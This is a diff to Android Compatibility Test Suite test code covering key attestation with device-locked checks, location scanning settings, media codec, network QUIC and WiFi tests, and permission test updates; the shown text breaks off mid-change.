--- a/tests/tests/icu/Android.mk
+++ b/tests/tests/icu/Android.mk
@@ -34,7 +34,7 @@
 	android-icu4j-tests
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_PACKAGE_NAME := CtsIcuTestCases
 LOCAL_PRIVATE_PLATFORM_APIS := true
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index e3f28fa..c0f0b69 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -20,6 +20,7 @@
 import android.platform.test.annotations.RestrictedBuildTest;
 
 import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_SOFTWARE;
+import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_STRONG_BOX;
 import static android.keystore.cts.Attestation.KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT;
 import static android.keystore.cts.AuthorizationList.KM_ALGORITHM_EC;
 import static android.keystore.cts.AuthorizationList.KM_ALGORITHM_RSA;
@@ -48,6 +49,7 @@
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PKCS1;
 import static android.security.keystore.KeyProperties.SIGNATURE_PADDING_RSA_PSS;
 import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.junit.Assert.assertThat;
 import static org.junit.matchers.JUnitMatchers.either;
 import static org.junit.matchers.JUnitMatchers.hasItems;
@@ -141,7 +143,6 @@
         assertEquals(0, parseSystemOsVersion("99.99.100"));
     }
 
-    @RestrictedBuildTest
     public void testEcAttestation() throws Exception {
         // Note: Curve and key sizes arrays must correspond.
         String[] curves = {
@@ -220,6 +221,41 @@
         }
     }
 
+    @RestrictedBuildTest
+    public void testEcAttestation_DeviceLocked() throws Exception {
+        String keystoreAlias = "test_key";
+        Date now = new Date();
+        Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
+        Date consumptionEnd = new Date(now.getTime() + CONSUMPTION_TIME_OFFSET);
+        KeyGenParameterSpec.Builder builder =
+            new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                    .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1"))
+                    .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                    .setAttestationChallenge(new byte[128])
+                    .setKeyValidityStart(now)
+                    .setKeyValidityForOriginationEnd(originationEnd)
+                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+
+        if (TestUtils.hasStrongBox(getContext())) {
+            builder.setIsStrongBoxBacked(true);
+        }
+
+        generateKeyPair(KEY_ALGORITHM_EC, builder.build());
+
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+
+        try {
+            Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
+            verifyCertificateChain(certificates);
+
+            X509Certificate attestationCert = (X509Certificate) certificates[0];
+            checkDeviceLocked(new Attestation(attestationCert));
+        } finally {
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     public void testEcAttestation_KeyStoreExceptionWhenRequestingUniqueId() throws Exception {
         String keystoreAlias = "test_key";
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
@@ -243,7 +279,6 @@
         }
     }
 
-    @RestrictedBuildTest
     public void testRsaAttestation() throws Exception {
         int[] keySizes = { // Smallish sizes to keep test runtimes down.
                 512, 768, 1024
@@ -338,6 +373,40 @@
         }
     }
 
+    @RestrictedBuildTest
+    public void testRsaAttestation_DeviceLocked() throws Exception {
+        String keystoreAlias = "test_key";
+        Date now = new Date();
+        Date originationEnd = new Date(now.getTime() + ORIGINATION_TIME_OFFSET);
+        Date consumptionEnd = new Date(now.getTime() + CONSUMPTION_TIME_OFFSET);
+        KeyGenParameterSpec.Builder builder =
+            new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                    .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                    .setAttestationChallenge("challenge".getBytes())
+                    .setKeyValidityStart(now)
+                    .setKeyValidityForOriginationEnd(originationEnd)
+                    .setKeyValidityForConsumptionEnd(consumptionEnd);
+
+        if (TestUtils.hasStrongBox(getContext())) {
+            builder.setIsStrongBoxBacked(true);
+        }
+
+        generateKeyPair(KEY_ALGORITHM_RSA, builder.build());
+
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+
+        try {
+            Certificate certificates[] = keyStore.getCertificateChain(keystoreAlias);
+            verifyCertificateChain(certificates);
+
+            X509Certificate attestationCert = (X509Certificate) certificates[0];
+            checkDeviceLocked(new Attestation(attestationCert));
+        } finally {
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     public void testAesAttestation() throws Exception {
         String keystoreAlias = "test_key";
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_ENCRYPT)
@@ -740,7 +809,7 @@
                         is(KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT));
                 assertThat(attestation.getKeymasterVersion(), either(is(2)).or(is(3)).or(is(4)));
 
-                checkRootOfTrust(attestation);
+                checkRootOfTrust(attestation, false /* requireLocked */);
                 assertThat(teeEnforced.getOsVersion(), is(systemOsVersion));
                 assertThat(teeEnforced.getOsPatchLevel(), is(systemPatchLevel));
                 break;
@@ -772,13 +841,40 @@
                 softwareEnforced.getRootOfTrust());
     }
 
-    private void checkRootOfTrust(Attestation attestation) {
+    private void checkDeviceLocked(Attestation attestation) {
+        assertThat("Attestation version must be >= 1",
+                attestation.getAttestationVersion(), greaterThanOrEqualTo(1));
+
+        int attestationSecurityLevel = attestation.getAttestationSecurityLevel();
+        switch (attestationSecurityLevel) {
+            case KM_SECURITY_LEVEL_STRONG_BOX:
+            case KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT:
+                assertThat("Attestation security level doesn't match keymaster security level",
+                        attestation.getKeymasterSecurityLevel(), is(attestationSecurityLevel));
+                assertThat(attestation.getKeymasterVersion(), greaterThanOrEqualTo(2));
+
+                // Devices launched in Android 10.0 (API level 29) and after should run CTS
+                // in LOCKED state.
+                boolean requireLocked = (
+                        SystemProperties.getInt("ro.product.first_api_level", 0) >= 29);
+                checkRootOfTrust(attestation, requireLocked);
+                break;
+
+            case KM_SECURITY_LEVEL_SOFTWARE:
+            default:
+                // TEE attestation has been required since Android 7.0.
+                fail("Unexpected attestation security level: " +
+                     attestation.securityLevelToString(attestationSecurityLevel));
+                break;
+        }
+    }
+
+    private void checkRootOfTrust(Attestation attestation, boolean requireLocked) {
         RootOfTrust rootOfTrust = attestation.getTeeEnforced().getRootOfTrust();
         assertNotNull(rootOfTrust);
         assertNotNull(rootOfTrust.getVerifiedBootKey());
         assertTrue(rootOfTrust.getVerifiedBootKey().length >= 32);
-        if (SystemProperties.getInt("ro.product.first_api_level", 0) >= 29) {
-            // Devices launched in Q and after should run CTS in LOCKED state.
+        if (requireLocked) {
             assertTrue(rootOfTrust.isDeviceLocked());
             assertEquals(KM_VERIFIED_BOOT_VERIFIED, rootOfTrust.getVerifiedBootState());
         }
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index a46b19c..89ee843 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -856,9 +856,21 @@
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.clearTestProviderEnabled(TEST_MOCK_PROVIDER_NAME);
+        //onSetEnabled in LMS is handle in thread, it's not synchronized ,
+        //need add delay here or will cause check failed
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertFalse(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         mManager.setTestProviderEnabled(TEST_MOCK_PROVIDER_NAME, true);
+        try {
+            Thread.sleep(100);
+        } catch (Exception e) {
+            Log.e(TAG, "fail in testIsProviderEnabled");
+        }
         assertTrue(mManager.isProviderEnabled(TEST_MOCK_PROVIDER_NAME));
 
         try {
diff --git a/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
new file mode 100644
index 0000000..ed7c582
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/ScanningSettingsTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.database.ContentObserver;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+
+import com.android.compatibility.common.util.CddTest;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests if system settings app provides scanning settings.
+ */
+public class ScanningSettingsTest extends AndroidTestCase {
+    private static final String TAG = "ScanningSettingsTest";
+
+    private static final int TIMEOUT = 8_000;  // 8 seconds
+    private static final String SETTINGS_PACKAGE = "com.android.settings";
+
+    private static final String WIFI_SCANNING_TITLE_RES =
+            "location_scanning_wifi_always_scanning_title";
+    private static final String BLUETOOTH_SCANNING_TITLE_RES =
+            "location_scanning_bluetooth_always_scanning_title";
+
+    private UiDevice mDevice;
+    private Context mContext;
+    private String mLauncherPackage;
+    private PackageManager mPackageManager;
+
+    @Override
+    protected void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        mPackageManager = mContext.getPackageManager();
+        final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
+        launcherIntent.addCategory(Intent.CATEGORY_HOME);
+        mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
+                PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+    }
+
+    @CddTest(requirement = "7.4.2/C-2-1")
+    public void testWifiScanningSettings() throws PackageManager.NameNotFoundException {
+        launchScanningSettings();
+        toggleSettingAndVerify(WIFI_SCANNING_TITLE_RES, Settings.Global.WIFI_SCAN_ALWAYS_AVAILABLE);
+    }
+
+    @CddTest(requirement = "7.4.3/C-4-1")
+    public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
+        launchScanningSettings();
+        toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
+                Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
+    }
+
+    private void launchScanningSettings() {
+        // Start from the home screen
+        mDevice.pressHome();
+        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
+
+        final Intent intent = new Intent(Settings.ACTION_LOCATION_SCANNING_SETTINGS);
+        // Clear out any previous instances
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+
+        // Wait for the app to appear
+        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(0)), TIMEOUT);
+    }
+
+    private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
+            String settingKey) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final HandlerThread handlerThread = new HandlerThread(TAG);
+        handlerThread.start();
+        final ContentObserver observer = new ContentObserver(
+                new Handler(handlerThread.getLooper())) {
+            @Override
+            public void onChange(boolean selfChange) {
+                super.onChange(selfChange);
+                latch.countDown();
+            }
+        };
+        resolver.registerContentObserver(Settings.Global.getUriFor(settingKey), false, observer);
+        pref.click();
+        try {
+            latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        handlerThread.quit();
+        resolver.unregisterContentObserver(observer);
+        assertEquals(0, latch.getCount());
+    }
+
+    private void toggleSettingAndVerify(String prefTitleRes, String settingKey)
+            throws PackageManager.NameNotFoundException {
+        final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
+        final int resId = res.getIdentifier(prefTitleRes, "string", SETTINGS_PACKAGE);
+        final UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
+        final ContentResolver resolver = mContext.getContentResolver();
+        final boolean checked = Settings.Global.getInt(resolver, settingKey, 0) == 1;
+
+        // Click the preference to toggle the setting.
+        clickAndWaitForSettingChange(pref, resolver, settingKey);
+        assertEquals(!checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+
+        // Click the preference again to toggle the setting back.
+        clickAndWaitForSettingChange(pref, resolver, settingKey);
+        assertEquals(checked, Settings.Global.getInt(resolver, settingKey, 0) == 1);
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index cda9bfd..ead5a7d 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -89,7 +89,7 @@
     android.test.runner.stubs
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant mts
 
 LOCAL_HOST_REQUIRED_MODULES := cts-dynamic-config
 
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index dbbcaaf..55a0913 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -392,7 +392,7 @@
                         mediaFormat.setString(MediaFormat.KEY_FRAME_RATE, null);
                     }
                     if (mediaCodecList == null) {
-                        mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+                        mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
                     }
                     decoder = MediaCodec.createByCodecName(
                             mediaCodecList.findDecoderForFormat(mediaFormat));
diff --git a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
index 7ee1bb6..ac8b2c3 100644
--- a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
+++ b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
@@ -825,7 +825,7 @@
                             0,
                             size,
                             presentationTime,
-                            videoExtractor.getSampleFlags());
+                            flags);
                     videoExtractedFrameCount++;
                 }
                 // We extracted a frame, let's try something else next.
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 7151d36..558cad9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -24,6 +24,7 @@
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
 import android.media.MediaCodec.CodecException;
+import android.media.MediaCodec.CryptoException;
 import android.media.MediaCodec.CryptoInfo;
 import android.media.MediaCodec.CryptoInfo.Pattern;
 import android.media.MediaCodecInfo;
@@ -1818,6 +1819,18 @@
     }
 
     /**
+     * Tests MediaCodec.CryptoException
+     */
+    public void testCryptoException() {
+        int errorCode = CryptoException.ERROR_KEY_EXPIRED;
+        String errorMessage = "key_expired";
+        CryptoException exception = new CryptoException(errorCode, errorMessage);
+
+        assertEquals(errorCode, exception.getErrorCode());
+        assertEquals(errorMessage, exception.getMessage());
+    }
+
+    /**
      * PCM encoding configuration test.
      *
      * If not specified in configure(), PCM encoding if it exists must be 16 bit.
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index f0e63ef..e899e71 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -18,6 +18,7 @@
 import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.util.SystemUtil;
 
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -273,6 +274,20 @@
         }
     }
 
+    public void testNotifySession2Created() throws Exception {
+        final Context context = getInstrumentation().getTargetContext();
+        Session2Token token = new Session2Token(context,
+                new ComponentName(context, this.getClass()));
+
+        try {
+            mSessionManager.notifySession2Created(token);
+            fail("Expected IllegalArgumentException for a call to notifySession2Created with " +
+                    "TYPE_SESSION_SERVICE token");
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testGetSession2Tokens() throws Exception {
         final Context context = getInstrumentation().getTargetContext();
         Handler handler = createHandler();
diff --git a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
index 18346ea..ff605e2 100644
--- a/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeDecoderTest.java
@@ -530,8 +530,9 @@
         int stride = format.getInteger(MediaFormat.KEY_STRIDE, width);
         int height = format.getInteger(MediaFormat.KEY_HEIGHT, 1);
         byte[] bb = new byte[width * height];
+        int offset = buf.position();
         for (int i = 0; i < height; i++) {
-            buf.position(i * stride);
+            buf.position(i * stride + offset);
             buf.get(bb, i * width, width);
         }
         // bb is filled with data
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index e41ebc6..a972fce 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index b6ea4af..b00455d 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -60,6 +60,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 
 }
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.cpp b/tests/tests/net/jni/NativeMultinetworkJni.cpp
index a6b5e90..5bd3013 100644
--- a/tests/tests/net/jni/NativeMultinetworkJni.cpp
+++ b/tests/tests/net/jni/NativeMultinetworkJni.cpp
@@ -455,13 +455,17 @@
     setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &timeo, sizeof(timeo));
 
     // For reference see:
-    //     https://tools.ietf.org/html/draft-tsvwg-quic-protocol-01#section-6.1
-    uint8_t quic_packet[] = {
-        0x0c,                    // public flags: 64bit conn ID, 8bit sequence number
+    //     https://tools.ietf.org/html/draft-tsvwg-quic-protocol#section-6.1
+    uint8_t quic_packet[1200] = {
+        0x0d,                    // public flags:
+                                 //   - version present (0x01),
+                                 //   - 64bit connection ID (0x0c),
+                                 //   - 1 byte packet number (0x00)
         0, 0, 0, 0, 0, 0, 0, 0,  // 64bit connection ID
-        0x01,                    // sequence number
+        0xaa, 0xda, 0xca, 0xaa,  // reserved-space version number
+        1,                       // 1 byte packet number
         0x00,                    // private flags
-        0x07,                    // type: regular frame type "PING"
+        0x07,                    // PING frame (cuz why not)
     };
 
     arc4random_buf(quic_packet + 1, 8);  // random connection ID
@@ -489,7 +493,7 @@
                   i + 1, MAX_RETRIES, rcvd, errnum);
         }
     }
-    if (rcvd < sent) {
+    if (rcvd < 9) {
         ALOGD("QUIC UDP %s: sent=%zd but rcvd=%zd, errno=%d", kPort, sent, rcvd, errnum);
         if (rcvd <= 0) {
             ALOGD("Does this network block UDP port %s?", kPort);
@@ -505,8 +509,7 @@
         return -EPROTO;
     }
 
-    // TODO: log, and compare to the IP address encoded in the
-    // response, since this should be a public reset packet.
+    // TODO: Replace this quick 'n' dirty test with proper QUIC-capable code.
 
     close(fd);
     return 0;
diff --git a/tests/tests/net/native/dns/Android.bp b/tests/tests/net/native/dns/Android.bp
index 9fbc3fc..1704a2b 100644
--- a/tests/tests/net/native/dns/Android.bp
+++ b/tests/tests/net/native/dns/Android.bp
@@ -35,5 +35,6 @@
     },
     test_suites: [
         "cts",
+        "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
index ccf5fe2..9bd1226 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
@@ -23,6 +23,7 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.net.wifi.ScanResult;
+import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
 import android.platform.test.annotations.AppModeFull;
@@ -54,6 +55,8 @@
     private static final int ENABLE_WAIT_MSEC = 10000;
     private static final int SCAN_WAIT_MSEC = 10000;
     private static final int SCAN_MAX_RETRY_COUNT = 6;
+    private static final int SCAN_FIND_BSSID_MAX_RETRY_COUNT = 5;
+    private static final long SCAN_FIND_BSSID_WAIT_MSEC = 5_000L;
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
@@ -200,4 +203,31 @@
 
     }
 
+    public void testScanResultMatchesWifiInfo() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // This test case should run while connected to Wifi
+        final WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
+        assertNotNull(wifiInfo);
+
+        ScanResult currentNetwork = null;
+        for (int i = 0; i < SCAN_FIND_BSSID_MAX_RETRY_COUNT; i++) {
+            scanAndWait();
+            final List<ScanResult> scanResults = mWifiManager.getScanResults();
+            currentNetwork = scanResults.stream().filter(r -> r.BSSID.equals(wifiInfo.getBSSID()))
+                    .findAny().orElse(null);
+
+            if (currentNetwork != null) {
+                break;
+            }
+            Thread.sleep(SCAN_FIND_BSSID_WAIT_MSEC);
+        }
+        assertNotNull("Current network not found in scan results", currentNetwork);
+
+        assertEquals(wifiInfo.getWifiSsid(), currentNetwork.wifiSsid);
+        assertEquals(wifiInfo.getFrequency(), currentNetwork.frequency);
+    }
 }
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 5367722..9d9b2a3 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -139,8 +139,11 @@
         }
 
         wifiInfo.getBSSID();
+        wifiInfo.getFrequency();
         wifiInfo.getIpAddress();
         wifiInfo.getLinkSpeed();
+        wifiInfo.getPasspointFqdn();
+        wifiInfo.getPasspointProviderFriendlyName();
         wifiInfo.getTxLinkSpeedMbps();
         wifiInfo.getRxLinkSpeedMbps();
         wifiInfo.getRssi();
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 1762edc..95f8126 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -32,6 +32,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
 
diff --git a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
index 5d492c6..cf26d44 100644
--- a/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
+++ b/tests/tests/permission/permissionTestUtilLib/src/android/permission/cts/PermissionUtils.java
@@ -237,7 +237,7 @@
      * @param packageName Package to clear
      */
     public static void clearAppState(@NonNull String packageName) {
-        runShellCommand("pm clear " + packageName);
+        runShellCommand("pm clear --user current " + packageName);
     }
 
     /**
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 232cd1f..db30b83 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -34,10 +34,12 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import static java.util.concurrent.TimeUnit.MILLISECONDS;
 
+import android.app.ActivityManager;
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -108,6 +110,8 @@
     private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
 
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
+    private static final ActivityManager sActivityManager =
+            (ActivityManager) sContext.getSystemService(Context.ACTIVITY_SERVICE);
     private static final UiAutomation sUiAutomation = InstrumentationRegistry.getInstrumentation()
             .getUiAutomation();
 
@@ -244,7 +248,9 @@
      * Force a run of the location check.
      */
     private static void runLocationCheck() {
-        runShellCommand("cmd jobscheduler run -f " + PERMISSION_CONTROLLER_PKG + " 0");
+        runShellCommand(
+                "cmd jobscheduler run -u " + android.os.Process.myUserHandle().getIdentifier()
+                        + " -f " + PERMISSION_CONTROLLER_PKG + " 0");
     }
 
     /**
@@ -361,6 +367,14 @@
     }
 
     /**
+     * Skip each test for low ram device
+     */
+    @Before
+    public void assumeIsNotLowRamDevice() {
+        assumeFalse(sActivityManager.isLowRamDevice());
+    }
+
+    /**
      * Reset the permission controllers state before each test
      */
     @Before
@@ -424,12 +438,16 @@
      */
     private static void resetPermissionController() throws Throwable {
         clearPackageData(PERMISSION_CONTROLLER_PKG);
+        int currentUserId = android.os.Process.myUserHandle().getIdentifier();
 
         // Wait until jobs are cleared
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+
             for (RegisteredJob job : dump.registeredJobs) {
-                assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                if (job.dump.sourceUserId == currentUserId) {
+                    assertNotEquals(job.dump.sourcePackageName, PERMISSION_CONTROLLER_PKG);
+                }
             }
         }, UNEXPECTED_TIMEOUT_MILLIS);
 
@@ -453,7 +471,8 @@
         eventually(() -> {
             JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
             for (RegisteredJob job : dump.registeredJobs) {
-                if (job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
+                if (job.dump.sourceUserId == currentUserId
+                        && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)) {
                     return;
                 }
             }
diff --git a/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
index 2f8d9e6..0d7d251 100644
--- a/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
@@ -98,23 +98,27 @@
         assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isFalse();
     }
 
-    @Test(expected = SecurityException.class)
-    public void runtimePermissionsCannotBeRevokedOnPackageThatDoesNotDeclarePermission()
+    @Test
+    public void runtimePermissionsCanBeRevokedOnPackageThatDoesNotDeclarePermission()
             throws Exception {
         install(APK_THAT_REQUESTS_PERMISSIONS);
         install(APK_THAT_REQUESTS_NO_PERMISSIONS);
         grantPermission(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS);
+        revokePermission(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
 
-        revokePermission(APK_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS)).isFalse();
+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isFalse();
     }
 
-    @Test(expected = SecurityException.class)
-    public void runtimePermissionsCannotBeGrantedOnPackageThatDoesNotDeclarePermission()
+    @Test
+    public void runtimePermissionsCanBeGrantedOnPackageThatDoesNotDeclarePermission()
             throws Exception {
         install(APK_THAT_REQUESTS_PERMISSIONS);
         install(APK_THAT_REQUESTS_NO_PERMISSIONS);
+        grantPermission(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
 
-        grantPermission(APK_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
